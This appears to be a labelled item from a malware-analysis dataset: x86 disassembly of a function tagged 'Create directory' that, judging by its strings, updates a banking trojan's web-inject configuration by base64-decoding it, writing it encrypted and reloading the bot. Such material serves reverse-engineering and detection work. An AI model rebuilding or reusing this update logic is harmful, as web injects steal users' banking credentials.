Function at 0x1000a554
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 8], esi
cmp edi, 1
je 0x1000a594
cmp edi, 2
je 0x1000a594
push edi
push str.update_webinj__:_bad_type:__u
push esi
call main
add esp, 0xc
or eax, 0xffffffff
jmp 0x1000a78e
push edi
push str.update_webinj__:_started_dwType__u_
call fcn.10018570
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0xc]
call fcn.10022500
add esp, 0x10
mov dword [ebp - 0x1c], eax
cmp eax, esi
jne 0x1000a5ca
push str.update_webinj__:_base64_decode___failed
push esi
call main
pop ecx
pop ecx
push 0xfffffffffffffffe
pop eax
jmp 0x1000a78e
push ebx
push edi
lea edi, [ebp - 0xa0]
call fcn.1000a153
push esi
push 0x1003830c
mov ebx, 0x10050940
push ebx
call fcn.100190c0
push esi
mov ecx, edi
push ecx
mov edi, 0x1003430c
push edi
push eax
mov dword [ebp - 0x10], eax
call fcn.100190c0
add esp, 0x20
push esi
push dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1000a626
push dword [ebp - 0x10]
push str.update_webinj__:_CreateDirectory__S__failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.10026ec0
add esp, 0xc
mov dword [ebp + 8], eax
cmp eax, esi
jg 0x1000a64b
mov dword [ebp - 4], 0xfffffffd
jmp 0x1000a731
push 2
push 0x100503c4
push 2
push dword [ebp - 0x14]
call fcn.1001d790
add esp, 0x10
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x1000a685
push str.update_webinj__:_sxor2_open___SXOR2_MODE_WRONLY_failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffc
jmp 0x1000a731
push dword [ebp + 8]
push dword [ebp - 0xc]
push eax
call fcn.1001dbf0
add esp, 0xc
test eax, eax
jns 0x1000a6b4
push str.update_webinj__:_sxor2_write___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffb
jmp 0x1000a731
lea eax, [ebp - 8]
push esi
push eax
call fcn.1001dd40
push esi
lea eax, [ebp - 0xa0]
push eax
push edi
push ebx
mov dword [ebp - 0x20], esi
call fcn.100190c0
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
call fcn.10021e70
add esp, 0x20
test eax, eax
jns 0x1000a6ea
mov dword [ebp - 4], 0xfffffff9
lea eax, [ebp - 0x20]
push 0xfffffffffffffffe
push eax
call fcn.10019b10
pop ecx
pop ecx
cmp dword [ebp - 4], esi
jne 0x1000a72f
call fcn.1000a233
test eax, eax
jns 0x1000a721
push str.update_webinj__:_main_exe_doesnt_exists__Cannot_reload_
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffa
jmp 0x1000a731
push str.update_webinj__:_____update_complete
call fcn.10018570
cmp dword [ebp - 4], esi
pop ecx
jge 0x1000a751
push dword [ebp - 4]
push str.update_webinj__:_update_failed_ret_d
call fcn.10018570
pop ecx
pop ecx
cmp dword [ebp - 8], esi
je 0x1000a751
lea eax, [ebp - 8]
push esi
push eax
call fcn.1001dd40
pop ecx
pop ecx
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
push eax
call fcn.10019b10
pop ecx
pop ecx
pop ebx
cmp dword [ebp + 8], esi
jle 0x1000a768
mov esi, dword [ebp + 8]
lea eax, [ebp - 0xc]
push esi
push eax
call fcn.10019b10
lea eax, [ebp - 0x10]
push 0xfffffffffffffffe
push eax
call fcn.10019b10
lea eax, [ebp - 0x14]
push 0xfffffffffffffffe
push eax
call fcn.10019b10
mov eax, dword [ebp - 4]
add esp, 0x18
pop edi
pop esi
leave
ret